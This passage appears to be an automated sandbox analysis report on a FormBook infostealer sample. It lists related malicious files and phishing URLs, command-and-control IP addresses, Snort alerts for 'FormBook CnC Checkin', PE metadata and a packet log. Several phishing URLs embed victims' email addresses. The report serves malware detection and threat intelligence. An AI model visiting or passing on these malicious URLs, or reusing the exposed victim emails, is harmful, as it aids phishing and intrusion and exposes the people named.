	PO_CCTEB77.exe	Get hash	malicious	FormBook	Browse	37.140.192.89
	PO_REGSEW4298.exe	Get hash	malicious	FormBook	Browse	37.140.192.89
	PO_VCFGA1010.exe	Get hash	malicious	FormBook	Browse	37.140.192.89
	PAYNOW_2023_08_002783pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.140.192.187
	rPRESSUREREDUCINGVALVE_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.140.192.187
www.611erhm.top	PO_YTWHDF3432.exe	Get hash	malicious	FormBook	Browse	34.149.198.43
	PO_CCTEB77.exe	Get hash	malicious	FormBook	Browse	34.117.26.57
	HSBC_Payment_Advice_pdf.exe	Get hash	malicious	FormBook	Browse	34.149.198.43
	HSBC_Payment_Advice_pdf.exe	Get hash	malicious	FormBook	Browse	34.117.26.57
	PO_VCFGA1010.exe	Get hash	malicious	FormBook	Browse	34.149.198.43
	pPi18YXmEM.exe	Get hash	malicious	FormBook	Browse	34.149.198.43
	TNT_Invoice_pdf.exe	Get hash	malicious	FormBook	Browse	34.149.198.43
	HSBC_Payment_Adice_pdf.exe	Get hash	malicious	FormBook	Browse	34.117.26.57
	Order_ID_DHL_0901P55AL.exe	Get hash	malicious	FormBook	Browse	34.149.198.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SS-ASHUS	https://vmi1524586.contaboserver.net/helped.html#mholmquist@scarboroughmaine.org	Get hash	malicious	HTMLPhisher	Browse	131.153.147.162
	Hesap_Hareketleri_SUN_BAGLANTI_ELEMANLARI_PRES_METMAKSANVE_TICLTDSTI_20231206_84014609_PDF.exe	Get hash	malicious	AgentTesla	Browse	131.153.148.82
	https://sports.zaly.online/57724/	Get hash	malicious	Unknown	Browse	198.24.170.51
	Halkbank_Ekstre_0230622_073809_405251-pdf.exe	Get hash	malicious	AgentTesla	Browse	131.153.148.82
	PO_YTWHDF3432.exe	Get hash	malicious	FormBook	Browse	131.153.147.90
	PO_CCTEB77.exe	Get hash	malicious	FormBook	Browse	131.153.147.90
	Hesap_Hareketleri_SUN_BAGLANTI_ELEMANLARI_PRES_METMAKSANVE_TICLTDSTI_20231124_84014609_PDF.exe	Get hash	malicious	AgentTesla	Browse	131.153.148.82
	Hesap_Hareketleri_SUN_BAGLANTI_ELEMANLARI_PRES_METMAKSANVE_TICLTDSTI_20231124_84014609_PDF.exe	Get hash	malicious	AgentTesla	Browse	131.153.148.82
	Hesap_Hareketleri_SUN_BAGLANTI_ELEMANLARI_PRES_METMAKSANVE_TICLTDSTI_20231128_84014609_PDF.exe	Get hash	malicious	AgentTesla	Browse	131.153.148.82
	https://tracking.solutiondynamics.com/?ApplicationId=SASES;cid=WRC&eid=65836714&jid=71771&event=clicked&ref=UpdateDetails&ref2=04361/434/00D&dest=http://livingbythestream.com/css/style/hguh1k/bruna.hom@uvic.cat	Get hash	malicious	HTMLPhisher	Browse	131.153.44.120
	Hesap_Hareketleri_SUN_BAGLANTI_ELEMANLARI_PRES_METMAKSANVE_TICLTDSTI_20231124_84014609_PDF.exe	Get hash	malicious	AgentTesla	Browse	131.153.148.82
	Hesap_Hareketleri_SUN_BAGLANTI_ELEMANLARI_PRES_METMAKSANVE_TICLTDSTI_20231124_84014609_PDF.exe	Get hash	malicious	AgentTesla	Browse	131.153.148.82
	PO_VCFGA1010.exe	Get hash	malicious	FormBook	Browse	131.153.147.90
	file.exe	Get hash	malicious	BazaLoader	Browse	131.153.152.122
	SecuriteInfo.com.Win32.TrojanX-gen.24405.26677.exe	Get hash	malicious	AgentTesla	Browse	131.153.100.231
	https://drive.google.com/file/d/11qmYm6lCQxQsYSNvVMa92eUR4AcCAhCn/preview	Get hash	malicious	Unknown	Browse	198.24.171.52
	Quote#2310303384.pdf.exe	Get hash	malicious	AgentTesla	Browse	131.153.100.231
	https://freefireenewgames.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse	131.153.148.28
	https://freenetflixxaccontcom.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse	23.235.251.211
	https://allezlens.fr/	Get hash	malicious	Unknown	Browse	131.153.148.26
TRANSIP-ASAmsterdamtheNetherlandsNL	2NM1gcGSOl.elf	Get hash	malicious	Mirai	Browse	95.170.75.179
	1y4KChrnVA.elf	Get hash	malicious	Mirai	Browse	37.97.214.152
	Antndte.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.97.254.27
	hesaphareketi-01.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.97.254.27
	jklarm.elf	Get hash	malicious	Mirai	Browse	149.210.199.50
	Znuvgbtsedoszb.exe	Get hash	malicious	DBatLoader, FormBook	Browse	86.105.245.69
	New_Order.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
	PO_YTWHDF3432.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
	PO_CCTEB77.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
	Fpopgapwdcgvxn.exe	Get hash	malicious	DBatLoader, FormBook	Browse	37.97.254.27
	Product_Specs.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.97.254.27
	PO_VCFGA1010.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
	25-23PJSM-653.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.97.254.27
	PAGAMENTO_INV-85732.exe	Get hash	malicious	FormBook, NSISDropper	Browse	37.97.254.27
	file.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
	kTnqWHyjjG.elf	Get hash	malicious	Mirai	Browse	95.170.75.142
	Order_confirmation,_Invoice.exe	Get hash	malicious	DBatLoader, FormBook	Browse	37.97.254.27
	ZenY9BAc8B.elf	Get hash	malicious	Mirai	Browse	185.211.251.125
	F00D0B21M4.elf	Get hash	malicious	Mirai	Browse	37.97.214.109
	INV#761538.exe	Get hash	malicious	FormBook	Browse	37.97.254.27
UNIFIEDLAYER-AS-1US	https://4nlmaunw.maktubb.com.br/cantehanger/am9zdWxsaXZhbkBjd2luZ2F0ZS5jb20=	Get hash	malicious	Unknown	Browse	192.185.221.178
	SecuriteInfo.com.Trojan.Inject4.59820.14767.16252.exe	Get hash	malicious	AgentTesla	Browse	50.87.139.143
	SWIFT-0912.exe	Get hash	malicious	FormBook, GuLoader	Browse	192.185.174.58
	K25Eh2b6Mb.exe	Get hash	malicious	FormBook	Browse	162.241.252.161
	n5PW3tuGlp.exe	Get hash	malicious	FormBook	Browse	67.222.38.85
	hSifOQe5sr.exe	Get hash	malicious	AgentTesla	Browse	162.144.23.32
	INQUIRY_NO._E-2023-06-41R1.exe	Get hash	malicious	FormBook, NSISDropper	Browse	162.144.239.6
	rYmTec0AuZ.exe	Get hash	malicious	FormBook, GuLoader	Browse	69.49.229.22
	Untitled attachment 00003.htm	Get hash	malicious	Unknown	Browse	108.167.158.60
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	162.241.63.81
	http://exclusifmoveis.com.br/new/auth	Get hash	malicious	Unknown	Browse	108.179.252.38
	http://p.feedblitz.com/t3.asp?/1081591/102442729/7821567_/~feeds.feedblitz.com/~/t/0/0/sethsblog/posts/~//solunadevelopment.com/yurwmc/lt/dGFuaWEucnVpc2Vjb0BzZWFib2FyZG1hcmluZS5jb20=	Get hash	malicious	HTMLPhisher	Browse	192.185.139.76
	Paid_Invoices.xls	Get hash	malicious	FormBook, GuLoader	Browse	69.49.229.22
	SecuriteInfo.com.FileRepMalware.11812.16342.exe	Get hash	malicious	FormBook, GuLoader	Browse	69.49.229.22
	Agreement_SM15525032670443661924.html	Get hash	malicious	Unknown	Browse	108.179.242.32
	http://kluvxhfql2.teamempirejp.com	Get hash	malicious	Unknown	Browse	192.254.235.137
	BMhDm7YW62.exe	Get hash	malicious	FormBook, NSISDropper	Browse	162.240.81.18
	NEW_KSA-DUBAI_PROJECT_RFQ_DETAILS_#5688QM-988765RQ-ESPRIUS-DES-MWQTRMK.exe	Get hash	malicious	FormBook	Browse	50.87.145.7
	7NQmHsp3aG.exe	Get hash	malicious	FormBook	Browse	162.241.252.161
	https://r20.rs6.net/tn.jsp?f=0014mq83eSqn0kaNc_hoo4Y7UT70CU2szuYTIo-hWN-bnpW_37lKy8kj-ZVBURrzWkrqphuKB7_ms9nXnPsCeN19IzJrh7FdtpDLA4Kj_5L-vhd0fdO0dM7jglK-Up8iV8pyx42_d3yTzkepqtSfxwhK8VPKE9stEIggaZuWb2dYbLqBe29TKh8Ogxugd3aaVQ75Lx1LaOBkNtAONmqlxdzW5ntBeJPatCzzOiOxA0yob1MMiiM_pDmzKrEUemA3dzU&c=&ch=&__=/16:00/anVzdGluLmpvcmRhbkB3YXJyaW9yc2hlYXJ0LmNvbQ==	Get hash	malicious	Unknown	Browse	192.185.156.197

Process:	C:\Users\user\Desktop\WrrCV4QR2J.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1304
Entropy (8bit):	5.342479910699661
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4DRE4mKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHDRHmYHKh3oPtHo6hAHKzP
MD5:	69F4C6D6E1A57244AD636131ED81FDCF
SHA1:	3BC170B8ED30C1968102F43661A91C548A593634
SHA-256:	243AF877C88EEE73B052788B4C8FD440B044D99FA7C9BAE286887A5D1888D6EA
SHA-512:	07A5D721605890AAA7D27531E6597951C74ED2EBA51DF5BFC94C66980E88663AA19D32E662D493BF2BF5062526EB895947FF2EB8F952C81D43191AE2C698A108
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Speech, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e

C:\Users\user\AppData\Local\Temp\7e327r58

Download File

Process:	C:\Windows\SysWOW64\isoburn.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.748908145630504
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	WrrCV4QR2J.exe
File size:	786'432 bytes
MD5:	26c7731786626894ce4fcc339951a26b
SHA1:	5103ffe527e144a275696454b45b1bda26c152bd
SHA256:	dc9c5d5251164a289cac05382c699c11fb51463f88fea60746dd571e1feeb5fc
SHA512:	09f6b16bc15b7aa27f282d4870928622db04685edb14dde53a98e95bbb31bfa5bfe52f5da5d86ffbb4e542915f0019588f39ad69bd1963791d3290bda3130a1c
SSDEEP:	12288:aY8YouBsfDr5camG+BhC4igF5Xmr12WTpYo62gYAlAd7BR6wT:aY8YoLffW5P3FW17TjHAOpB
TLSH:	7BF4E00022F89BD5E17EABFA4C70711007B6792A6922EF0E4E9661DE1E71BC04572F5F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ce..............0......F......v.... ........@.. .......................`............@................................

File Icon


Icon Hash:	22ceac86b2968ee0

Static PE Info

General

Entrypoint:	0x4bd676
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6563F09C [Mon Nov 27 01:27:56 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
xor al, 34h
xor al, 34h
xor al, 35h
xor eax, 38464739h
push ebp
xor dh, byte ptr [354A464Fh]
push ebx
aaa
pop edx
xor al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbd624	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xbe000	0x4204	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbb694	0xbb800	False	0.8672903645833333	data	7.765104825647267	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xbe000	0x4204	0x4400	False	0.23299632352941177	data	4.2977512789706305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc4000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xbe1c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.4326241134751773
RT_ICON	0xbe628	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.2607879924953096
RT_ICON	0xbf6d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.1912863070539419
RT_GROUP_ICON	0xc1c78	0x30	data	0.8125
RT_GROUP_ICON	0xc1ca8	0x14	data	1.1
RT_VERSION	0xc1cbc	0x35c	data	0.413953488372093
RT_MANIFEST	0xc2018	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.474.208.236.18149743802855465 12/08/23-14:50:42.900472	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49743	80	192.168.2.4	74.208.236.181
192.168.2.466.29.155.5449764802855465 12/08/23-14:51:57.012130	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49764	80	192.168.2.4	66.29.155.54
192.168.2.485.159.66.9349776802855465 12/08/23-14:52:40.619764	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49776	80	192.168.2.4	85.159.66.93
192.168.2.452.220.48.16149796802855465 12/08/23-14:53:57.335622	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49796	80	192.168.2.4	52.220.48.161
192.168.2.437.97.254.2749792802855465 12/08/23-14:53:40.611998	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49792	80	192.168.2.4	37.97.254.27
192.168.2.4162.222.226.7749739802855465 12/08/23-14:50:19.134288	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49739	80	192.168.2.4	162.222.226.77
192.168.2.4104.21.18.25349748802855465 12/08/23-14:50:56.404687	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49748	80	192.168.2.4	104.21.18.253
192.168.2.4107.178.250.17749788802855465 12/08/23-14:53:26.280190	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49788	80	192.168.2.4	107.178.250.177
192.168.2.4162.241.252.16149780802855465 12/08/23-14:52:55.335271	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49780	80	192.168.2.4	162.241.252.161
192.168.2.437.140.192.8949752802855465 12/08/23-14:51:11.265685	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49752	80	192.168.2.4	37.140.192.89
192.168.2.434.117.26.5749768802855465 12/08/23-14:52:11.624074	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49768	80	192.168.2.4	34.117.26.57
192.168.2.4131.153.147.9049756802855465 12/08/23-14:51:27.263886	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49756	80	192.168.2.4	131.153.147.90
192.168.2.481.169.145.7049772802855465 12/08/23-14:52:25.956590	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49772	80	192.168.2.4	81.169.145.70
192.168.2.494.23.162.16349760802855465 12/08/23-14:51:42.204368	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49760	80	192.168.2.4	94.23.162.163
192.168.2.4185.74.252.1149784802855465 12/08/23-14:53:10.644355	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49784	80	192.168.2.4	185.74.252.11

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2023 14:50:18.937170029 CET	49739	80	192.168.2.4	162.222.226.77
Dec 8, 2023 14:50:19.133296967 CET	80	49739	162.222.226.77	192.168.2.4
Dec 8, 2023 14:50:19.133639097 CET	49739	80	192.168.2.4	162.222.226.77
Dec 8, 2023 14:50:19.134288073 CET	49739	80	192.168.2.4	162.222.226.77
Dec 8, 2023 14:50:19.330131054 CET	80	49739	162.222.226.77	192.168.2.4
Dec 8, 2023 14:50:19.337153912 CET	80	49739	162.222.226.77	192.168.2.4
Dec 8, 2023 14:50:19.337232113 CET	80	49739	162.222.226.77	192.168.2.4
Dec 8, 2023 14:50:19.337452888 CET	49739	80	192.168.2.4	162.222.226.77
Dec 8, 2023 14:50:19.337987900 CET	49739	80	192.168.2.4	162.222.226.77
Dec 8, 2023 14:50:19.533921957 CET	80	49739	162.222.226.77	192.168.2.4
Dec 8, 2023 14:50:34.664378881 CET	49740	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:34.831279993 CET	80	49740	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:34.831357956 CET	49740	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:34.831656933 CET	49740	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:34.998413086 CET	80	49740	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:35.005354881 CET	80	49740	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:35.005484104 CET	80	49740	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:35.005539894 CET	49740	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:36.342005014 CET	49740	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:37.358135939 CET	49741	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:37.525537014 CET	80	49741	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:37.525690079 CET	49741	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:37.526036978 CET	49741	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:37.693181038 CET	80	49741	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:37.699758053 CET	80	49741	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:37.699771881 CET	80	49741	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:37.699930906 CET	49741	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:39.029409885 CET	49741	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:40.045692921 CET	49742	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:40.212608099 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.212707996 CET	49742	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:40.213336945 CET	49742	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:40.380247116 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.380291939 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.380311012 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.380327940 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.380458117 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.380491972 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.380817890 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.380855083 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.380976915 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.387168884 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.387231112 CET	80	49742	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:40.387332916 CET	49742	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:41.716926098 CET	49742	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:42.732990026 CET	49743	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:42.900053978 CET	80	49743	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:42.900178909 CET	49743	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:42.900471926 CET	49743	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:43.067554951 CET	80	49743	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:43.073848963 CET	80	49743	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:43.074203968 CET	80	49743	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:43.074278116 CET	49743	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:43.074357986 CET	49743	80	192.168.2.4	74.208.236.181
Dec 8, 2023 14:50:43.241399050 CET	80	49743	74.208.236.181	192.168.2.4
Dec 8, 2023 14:50:48.314276934 CET	49744	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:48.438580990 CET	80	49744	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:48.439062119 CET	49744	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:48.439062119 CET	49744	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:48.563493013 CET	80	49744	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:48.715878010 CET	80	49744	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:48.716059923 CET	80	49744	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:48.716135979 CET	49744	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:49.951237917 CET	49744	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:50.967309952 CET	49745	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:51.092092991 CET	80	49745	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:51.092261076 CET	49745	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:51.092530966 CET	49745	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:51.217211008 CET	80	49745	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:51.383552074 CET	80	49745	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:51.383776903 CET	80	49745	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:51.383879900 CET	49745	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:52.598052025 CET	49745	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:53.624420881 CET	49747	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:53.748687029 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:53.748953104 CET	49747	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:53.749476910 CET	49747	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:53.874031067 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:53.874095917 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:53.874147892 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:53.874212027 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:53.874243975 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:53.874258995 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:53.874289989 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:53.874311924 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:54.028893948 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:54.028924942 CET	80	49747	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:54.029001951 CET	49747	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:55.263717890 CET	49747	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:56.280004978 CET	49748	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:56.404164076 CET	80	49748	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:56.404413939 CET	49748	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:56.404686928 CET	49748	80	192.168.2.4	104.21.18.253
